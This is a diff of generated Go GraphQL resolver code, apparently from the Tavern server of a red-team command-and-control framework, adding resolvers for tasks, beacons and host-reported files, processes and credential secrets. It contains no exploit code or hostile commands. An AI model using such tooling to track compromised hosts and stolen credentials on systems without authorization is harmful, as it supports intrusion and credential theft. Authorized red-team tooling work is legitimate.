+				return ec.fieldContext_Quest_creator(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type Quest", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_author(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_author(ctx, field)
+func (ec *executionContext) _Task_beacon(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_beacon(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5941,7 +5700,7 @@ func (ec *executionContext) _Tome_author(ctx context.Context, field graphql.Coll
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Author, nil
+		return obj.Beacon(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5953,26 +5712,50 @@ func (ec *executionContext) _Tome_author(ctx context.Context, field graphql.Coll
 		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(*ent.Beacon)
 	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
+	return ec.marshalNBeacon2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeacon(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_author(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_beacon(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_Beacon_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_Beacon_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_Beacon_lastModifiedAt(ctx, field)
+			case "name":
+				return ec.fieldContext_Beacon_name(ctx, field)
+			case "principal":
+				return ec.fieldContext_Beacon_principal(ctx, field)
+			case "identifier":
+				return ec.fieldContext_Beacon_identifier(ctx, field)
+			case "agentIdentifier":
+				return ec.fieldContext_Beacon_agentIdentifier(ctx, field)
+			case "lastSeenAt":
+				return ec.fieldContext_Beacon_lastSeenAt(ctx, field)
+			case "interval":
+				return ec.fieldContext_Beacon_interval(ctx, field)
+			case "host":
+				return ec.fieldContext_Beacon_host(ctx, field)
+			case "tasks":
+				return ec.fieldContext_Beacon_tasks(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type Beacon", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_supportModel(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_supportModel(ctx, field)
+func (ec *executionContext) _Task_reportedFiles(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_reportedFiles(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5985,38 +5768,59 @@ func (ec *executionContext) _Tome_supportModel(ctx context.Context, field graphq
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.SupportModel, nil
+		return obj.ReportedFiles(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(tome.SupportModel)
+	res := resTmp.([]*ent.HostFile)
 	fc.Result = res
-	return ec.marshalNTomeSupportModel2realmᚗpubᚋtavernᚋinternalᚋentᚋtomeᚐSupportModel(ctx, field.Selections, res)
+	return ec.marshalOHostFile2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostFileᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_supportModel(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_reportedFiles(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type TomeSupportModel does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_HostFile_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_HostFile_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_HostFile_lastModifiedAt(ctx, field)
+			case "path":
+				return ec.fieldContext_HostFile_path(ctx, field)
+			case "owner":
+				return ec.fieldContext_HostFile_owner(ctx, field)
+			case "group":
+				return ec.fieldContext_HostFile_group(ctx, field)
+			case "permissions":
+				return ec.fieldContext_HostFile_permissions(ctx, field)
+			case "size":
+				return ec.fieldContext_HostFile_size(ctx, field)
+			case "hash":
+				return ec.fieldContext_HostFile_hash(ctx, field)
+			case "host":
+				return ec.fieldContext_HostFile_host(ctx, field)
+			case "task":
+				return ec.fieldContext_HostFile_task(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type HostFile", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_tactic(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_tactic(ctx, field)
+func (ec *executionContext) _Task_reportedProcesses(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_reportedProcesses(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6029,38 +5833,65 @@ func (ec *executionContext) _Tome_tactic(ctx context.Context, field graphql.Coll
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Tactic, nil
+		return obj.ReportedProcesses(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(tome.Tactic)
+	res := resTmp.([]*ent.HostProcess)
 	fc.Result = res
-	return ec.marshalNTomeTactic2realmᚗpubᚋtavernᚋinternalᚋentᚋtomeᚐTactic(ctx, field.Selections, res)
+	return ec.marshalOHostProcess2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostProcessᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_tactic(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_reportedProcesses(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type TomeTactic does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_HostProcess_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_HostProcess_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_HostProcess_lastModifiedAt(ctx, field)
+			case "pid":
+				return ec.fieldContext_HostProcess_pid(ctx, field)
+			case "ppid":
+				return ec.fieldContext_HostProcess_ppid(ctx, field)
+			case "name":
+				return ec.fieldContext_HostProcess_name(ctx, field)
+			case "principal":
+				return ec.fieldContext_HostProcess_principal(ctx, field)
+			case "path":
+				return ec.fieldContext_HostProcess_path(ctx, field)
+			case "cmd":
+				return ec.fieldContext_HostProcess_cmd(ctx, field)
+			case "env":
+				return ec.fieldContext_HostProcess_env(ctx, field)
+			case "cwd":
+				return ec.fieldContext_HostProcess_cwd(ctx, field)
+			case "status":
+				return ec.fieldContext_HostProcess_status(ctx, field)
+			case "host":
+				return ec.fieldContext_HostProcess_host(ctx, field)
+			case "task":
+				return ec.fieldContext_HostProcess_task(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type HostProcess", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_paramDefs(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_paramDefs(ctx, field)
+func (ec *executionContext) _Task_reportedCredentials(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_reportedCredentials(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6073,7 +5904,7 @@ func (ec *executionContext) _Tome_paramDefs(ctx context.Context, field graphql.C
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ParamDefs, nil
+		return obj.ReportedCredentials(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -6082,26 +5913,42 @@ func (ec *executionContext) _Tome_paramDefs(ctx context.Context, field graphql.C
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.([]*ent.HostCredential)
 	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
+	return ec.marshalOHostCredential2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_paramDefs(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_reportedCredentials(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_HostCredential_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_HostCredential_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_HostCredential_lastModifiedAt(ctx, field)
+			case "principal":
+				return ec.fieldContext_HostCredential_principal(ctx, field)
+			case "secret":
+				return ec.fieldContext_HostCredential_secret(ctx, field)
+			case "host":
+				return ec.fieldContext_HostCredential_host(ctx, field)
+			case "task":
+				return ec.fieldContext_HostCredential_task(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type HostCredential", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_eldritch(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_eldritch(ctx, field)
+func (ec *executionContext) _TaskConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.TaskConnection) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_TaskConnection_edges(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6114,38 +5961,41 @@ func (ec *executionContext) _Tome_eldritch(ctx context.Context, field graphql.Co
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Eldritch, nil
+		return obj.Edges, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.([]*ent.TaskEdge)
 	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
+	return ec.marshalOTaskEdge2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskEdge(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_eldritch(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_TaskConnection_edges(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "TaskConnection",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			switch field.Name {
+			case "node":
+				return ec.fieldContext_TaskEdge_node(ctx, field)
+			case "cursor":
+				return ec.fieldContext_TaskEdge_cursor(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type TaskEdge", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_files(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_files(ctx, field)
+func (ec *executionContext) _TaskConnection_pageInfo(ctx context.Context, field graphql.CollectedField, obj *ent.TaskConnection) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_TaskConnection_pageInfo(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6158,51 +6008,48 @@ func (ec *executionContext) _Tome_files(ctx context.Context, field graphql.Colle
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Files(ctx)
+		return obj.PageInfo, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.File)
+	res := resTmp.(entgql.PageInfo[int])
 	fc.Result = res
-	return ec.marshalOFile2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileᚄ(ctx, field.Selections, res)
+	return ec.marshalNPageInfo2entgoᚗioᚋcontribᚋentgqlᚐPageInfo(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_files(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_TaskConnection_pageInfo(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "TaskConnection",
 		Field:      field,
-		IsMethod:   true,
+		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
-			case "id":
-				return ec.fieldContext_File_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_File_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_File_lastModifiedAt(ctx, field)
-			case "name":
-				return ec.fieldContext_File_name(ctx, field)
-			case "size":
-				return ec.fieldContext_File_size(ctx, field)
-			case "hash":
-				return ec.fieldContext_File_hash(ctx, field)
-			case "tomes":
-				return ec.fieldContext_File_tomes(ctx, field)
+			case "hasNextPage":
+				return ec.fieldContext_PageInfo_hasNextPage(ctx, field)
+			case "hasPreviousPage":
+				return ec.fieldContext_PageInfo_hasPreviousPage(ctx, field)
+			case "startCursor":
+				return ec.fieldContext_PageInfo_startCursor(ctx, field)
+			case "endCursor":
+				return ec.fieldContext_PageInfo_endCursor(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type File", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type PageInfo", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_uploader(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_uploader(ctx, field)
+func (ec *executionContext) _TaskConnection_totalCount(ctx context.Context, field graphql.CollectedField, obj *ent.TaskConnection) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_TaskConnection_totalCount(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6215,7 +6062,51 @@ func (ec *executionContext) _Tome_uploader(ctx context.Context, field graphql.Co
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Uploader(ctx)
+		return obj.TotalCount, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(int)
+	fc.Result = res
+	return ec.marshalNInt2int(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_TaskConnection_totalCount(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "TaskConnection",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type Int does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _TaskEdge_node(ctx context.Context, field graphql.CollectedField, obj *ent.TaskEdge) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_TaskEdge_node(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Node, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -6224,40 +6115,56 @@ func (ec *executionContext) _Tome_uploader(ctx context.Context, field graphql.Co
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.(*ent.User)
+	res := resTmp.(*ent.Task)
 	fc.Result = res
-	return ec.marshalOUser2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUser(ctx, field.Selections, res)
+	return ec.marshalOTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTask(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_uploader(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_TaskEdge_node(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "TaskEdge",
 		Field:      field,
-		IsMethod:   true,
+		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
 			case "id":
-				return ec.fieldContext_User_id(ctx, field)
-			case "name":
-				return ec.fieldContext_User_name(ctx, field)
-			case "photoURL":
-				return ec.fieldContext_User_photoURL(ctx, field)
-			case "isActivated":
-				return ec.fieldContext_User_isActivated(ctx, field)
-			case "isAdmin":
-				return ec.fieldContext_User_isAdmin(ctx, field)
-			case "tomes":
-				return ec.fieldContext_User_tomes(ctx, field)
+				return ec.fieldContext_Task_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_Task_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_Task_lastModifiedAt(ctx, field)
+			case "claimedAt":
+				return ec.fieldContext_Task_claimedAt(ctx, field)
+			case "execStartedAt":
+				return ec.fieldContext_Task_execStartedAt(ctx, field)
+			case "execFinishedAt":
+				return ec.fieldContext_Task_execFinishedAt(ctx, field)
+			case "output":
+				return ec.fieldContext_Task_output(ctx, field)
+			case "outputSize":
+				return ec.fieldContext_Task_outputSize(ctx, field)
+			case "error":
+				return ec.fieldContext_Task_error(ctx, field)
+			case "quest":
+				return ec.fieldContext_Task_quest(ctx, field)
+			case "beacon":
+				return ec.fieldContext_Task_beacon(ctx, field)
+			case "reportedFiles":
+				return ec.fieldContext_Task_reportedFiles(ctx, field)
+			case "reportedProcesses":
+				return ec.fieldContext_Task_reportedProcesses(ctx, field)
+			case "reportedCredentials":
+				return ec.fieldContext_Task_reportedCredentials(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type User", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type Task", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _User_id(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_User_id(ctx, field)
+func (ec *executionContext) _TaskEdge_cursor(ctx context.Context, field graphql.CollectedField, obj *ent.TaskEdge) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_TaskEdge_cursor(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6270,7 +6177,7 @@ func (ec *executionContext) _User_id(ctx context.Context, field graphql.Collecte
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ID, nil
+		return obj.Cursor, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -6282,26 +6189,26 @@ func (ec *executionContext) _User_id(ctx context.Context, field graphql.Collecte
 		}
 		return graphql.Null
 	}
-	res := resTmp.(int)
+	res := resTmp.(entgql.Cursor[int])
 	fc.Result = res
-	return ec.marshalNID2int(ctx, field.Selections, res)
+	return ec.marshalNCursor2entgoᚗioᚋcontribᚋentgqlᚐCursor(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_User_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_TaskEdge_cursor(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "User",
+		Object:     "TaskEdge",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type ID does not have child fields")
+			return nil, errors.New("field of type Cursor does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _User_name(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_User_name(ctx, field)
+func (ec *executionContext) _Tome_id(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_id(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6314,7 +6221,7 @@ func (ec *executionContext) _User_name(ctx context.Context, field graphql.Collec
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Name, nil
+		return obj.ID, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -6326,26 +6233,26 @@ func (ec *executionContext) _User_name(ctx context.Context, field graphql.Collec
 		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(int)
 	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
+	return ec.marshalNID2int(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_User_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tome_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "User",
+		Object:     "Tome",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			return nil, errors.New("field of type ID does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _User_photoURL(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_User_photoURL(ctx, field)
+func (ec *executionContext) _Tome_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_createdAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6358,7 +6265,7 @@ func (ec *executionContext) _User_photoURL(ctx context.Context, field graphql.Co
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.PhotoURL, nil
+		return obj.CreatedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -6370,26 +6277,26 @@ func (ec *executionContext) _User_photoURL(ctx context.Context, field graphql.Co
 		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
+	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_User_photoURL(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tome_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "User",
+		Object:     "Tome",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _User_isActivated(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_User_isActivated(ctx, field)
+func (ec *executionContext) _Tome_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_lastModifiedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6402,7 +6309,7 @@ func (ec *executionContext) _User_isActivated(ctx context.Context, field graphql
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.IsActivated, nil
+		return obj.LastModifiedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -6414,26 +6321,26 @@ func (ec *executionContext) _User_isActivated(ctx context.Context, field graphql
 		}
 		return graphql.Null
 	}
-	res := resTmp.(bool)
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
+	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_User_isActivated(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tome_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "User",
+		Object:     "Tome",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Boolean does not have child fields")
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _User_isAdmin(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_User_isAdmin(ctx, field)
+func (ec *executionContext) _Tome_name(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_name(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6446,7 +6353,7 @@ func (ec *executionContext) _User_isAdmin(ctx context.Context, field graphql.Col
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.IsAdmin, nil
+		return obj.Name, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -6458,26 +6365,26 @@ func (ec *executionContext) _User_isAdmin(ctx context.Context, field graphql.Col
 		}
 		return graphql.Null
 	}
-	res := resTmp.(bool)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_User_isAdmin(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tome_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "User",
+		Object:     "Tome",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Boolean does not have child fields")
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
